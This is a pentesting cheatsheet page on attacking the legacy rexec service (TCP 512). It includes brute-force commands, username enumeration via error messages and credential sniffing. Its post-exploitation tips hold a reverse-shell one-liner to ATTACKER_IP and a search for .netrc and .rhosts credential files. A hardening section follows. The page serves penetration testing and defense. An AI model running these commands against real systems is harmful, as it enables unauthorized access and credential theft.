daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

512-pentesting-rexec.md (8522B)


      1 ---
      2 title: "512 - Pentesting Rexec"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/512-pentesting-rexec.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/512-pentesting-rexec.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 512 - Pentesting Rexec
     14 
     15 ## Basic Information
     16 
     17 Rexec (remote **exec**) belongs to the classic Berkeley *r*-services family alongside `rlogin` and `rsh`. It provides **remote command execution** authenticated with a clear-text username and password. TCP port 512 is registered as the `exec` service, and GNU Inetutils documents the byte-level exchange implemented by `rexecd`.<sup>[[1]](#references)[[3]](#references)</sup> The protocol is insecure on untrusted networks but still appears on legacy UNIX and embedded equipment.
     18 
     19 **Default Port:** TCP 512 (`exec`)
     20 
     21 ```text
     22 PORT    STATE SERVICE
     23 512/tcp open  exec
     24 ```
     25 
     26 > 🔥  All traffic – including credentials – is transmitted **unencrypted**.  Anyone with the ability to sniff the network can recover the username, password and command.
     27 
     28 ### Protocol quick-look
     29 
     30 1. Client connects to TCP 512.
     31 2. Client sends three **NUL-terminated** strings:
     32    * the port number (as ASCII) where it wishes to receive stdout/stderr (often `0`),
     33    * the **username**,
     34    * the **password**.
     35 3. A final NUL-terminated string with the **command** to execute is sent.
     36 4. The server returns a NUL status byte on successful setup. GNU `rexecd` prefixes diagnostic failures with byte value `1`; stdout then uses the initial connection and an optional secondary connection carries stderr.<sup>[[1]](#references)</sup>
     37 
     38 If the first field is **non-zero**, the server opens a **second TCP connection back to the client** and uses it for stderr. This is useful both for **manual testing** and for **fingerprinting filtering / firewall issues** around the service.
     39 
     40 That means you can reproduce the exchange with nothing more than `echo -e` and `nc`:
     41 
     42 ```bash
     43 (echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
     44 ```
     45 
     46 If the credentials are valid you will receive the output of `id` straight back on the same connection.
     47 
     48 If you want to receive stderr on a dedicated listener, ask the server to connect back to you:
     49 
     50 ```bash
     51 nc -lvnp 4444
     52 printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
     53 ```
     54 
     55 Many common implementations (for example GNU `rexecd`) still enforce **16-byte username/password fields** and return **different diagnostic strings** for invalid usernames vs invalid passwords. That matters during enumeration because some targets leak whether the account exists before you start brute forcing.<sup>[[1]](#references)</sup>
     56 
     57 ### Manual usage with the client
     58 
     59 Many Linux distributions still ship the legacy client inside the **inetutils-rexec** / **rsh-client** package:<sup>[[1]](#references)</sup>
     60 
     61 ```bash
     62 rexec -l user -p password <target> "uname -a"
     63 ```
     64 
     65 If `-p` is omitted the client will prompt interactively for the password (visible on the wire in clear-text!).
     66 
     67 To avoid leaving the password in your shell history / process list, GNU `rexec` also supports reading it from stdin:
     68 
     69 ```bash
     70 printf '%s\n' 'password' | rexec -l user -p - <target> "id"
     71 ```
     72 
     73 This is **not safer on the network**; it only reduces local exposure on the attacking host.
     74 
     75 ---
     76 ## Enumeration & Brute-forcing
     77 
     78 ### [**Brute-force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#rexec)
     79 
     80 ### Nmap
     81 
     82 ```bash
     83 nmap -sV -p 512 <target>
     84 # Confirm the classic exec service before credential attacks
     85 
     86 nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
     87 ```
     88 The `rexec-brute` NSE uses the protocol described above to try credentials very quickly.<sup>[[2]](#references)</sup>
     89 
     90 ### Hydra / Medusa
     91 
     92 ```bash
     93 hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
     94 medusa -h <target> -U users.txt -P passwords.txt -M rexec
     95 ```
     96 `hydra` has a dedicated **rexec** module. Medusa's upstream source also includes `rexec.mod`; verify that the locally packaged build exposes it with `medusa -d` before a long run.<sup>[[5]](#references)</sup> These are online authentication attacks, so use conservative concurrency and honor the engagement's lockout and availability constraints.
     97 
     98 ### Username enumeration through server messages
     99 
    100 Some `rexecd` implementations expose distinct errors such as **`Login incorrect.`** vs **`Password incorrect.`**. If you see this behavior, validate usernames first and only then brute force passwords:
    101 
    102 ```bash
    103 printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
    104 printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
    105 ```
    106 
    107 If the messages differ, build a valid-user list before sending a large password spray.
    108 
    109 ### Check sibling *r*-services
    110 
    111 `rexec` itself uses **password authentication**, unlike `rsh` / `rlogin` trusted-host logic, but in practice they often arrive from the **same legacy package** (`openbsd-inetd`, `inetutils`, vendor UNIX bundles). If TCP 512 is open, immediately check TCP **513** and **514** as well because `.rhosts` / `/etc/hosts.equiv` abuse may offer easier lateral movement:
    112 
    113 ```bash
    114 nmap -sV -p 512,513,514 <target>
    115 ```
    116 
    117 See also:
    118 
    119 [Pentesting Rsh](/hacktricks/network-services-pentesting/pentesting-rsh)
    120 
    121 [Pentesting Rlogin](/hacktricks/network-services-pentesting/pentesting-rlogin)
    122 
    123 ### Metasploit
    124 
    125 ```text
    126 use auxiliary/scanner/rservices/rexec_login
    127 set RHOSTS <target>
    128 set USER_FILE users.txt
    129 set PASS_FILE passwords.txt
    130 run
    131 ```
    132 The module opens a command session on success and stores validated credentials in the Metasploit database.<sup>[[4]](#references)</sup>
    133 
    134 ---
    135 ## Sniffing credentials
    136 
    137 Because everything is clear text, a capture from an authorized monitoring point can reveal credentials and commands without sending additional traffic to the target. The simple command below works when TShark exposes a decoded data field; otherwise, follow the TCP stream or export `tcp.payload` and decode its hex bytes.
    138 
    139 ```bash
    140 tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
    141   awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command
    142 ```
    143 
    144 (In Wireshark enable *Decode As …​* TCP 512 → REXEC to view nicely-parsed fields.)
    145 
    146 ---
    147 ## Post-Exploitation tips
    148 
    149 * Commands run with the privileges of the authenticated user. Audit `/etc/pam.d/rexec` where the daemon was built with PAM support; a permissive PAM stack can weaken the intended account policy.<sup>[[1]](#references)</sup>
    150 * GNU `rexecd` passes the command to the user's configured login shell. Shell metacharacters may therefore chain commands or launch a reverse shell when that shell supports them:<sup>[[1]](#references)</sup>
    151   ```bash
    152   rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
    153   ```
    154 * Passwords are often stored in **`~/.netrc`** or legacy automation scripts on other systems; if you compromise one host you may reuse them for lateral movement:
    155   ```bash
    156   find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
    157   ```
    158 
    159 ---
    160 ## Hardening / Detection
    161 
    162 * **Do not expose rexec**; replace it with SSH.  Virtually all modern *inetd* superservers comment the service out by default.
    163 * If you must keep it, restrict access with TCP wrappers (`/etc/hosts.allow`) or firewall rules and enforce strong per-account passwords.
    164 * Monitor for traffic to :512 and for `rexecd` process launches.  A single packet capture is enough to detect a compromise.
    165 * Disable `rexec`, `rlogin`, `rsh` together – they share most of the same codebase and weaknesses.
    166 
    167 ---
    168 
    169 ## References
    170 
    171 - [1] [GNU Inetutils `rexecd` / `rexec` documentation](https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html)
    172 - [2] [Nmap NSE `rexec-brute` documentation](https://nmap.org/nsedoc/scripts/rexec-brute.html)
    173 - [3] [IANA Service Name and Transport Protocol Port Number Registry](https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=512)
    174 - [4] [Rapid7 Metasploit - rexec_login scanner](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login/)
    175 - [5] [Medusa source - REXEC password-checking module](https://github.com/jmk-foofus/medusa/blob/master/src/modsrc/rexec.c)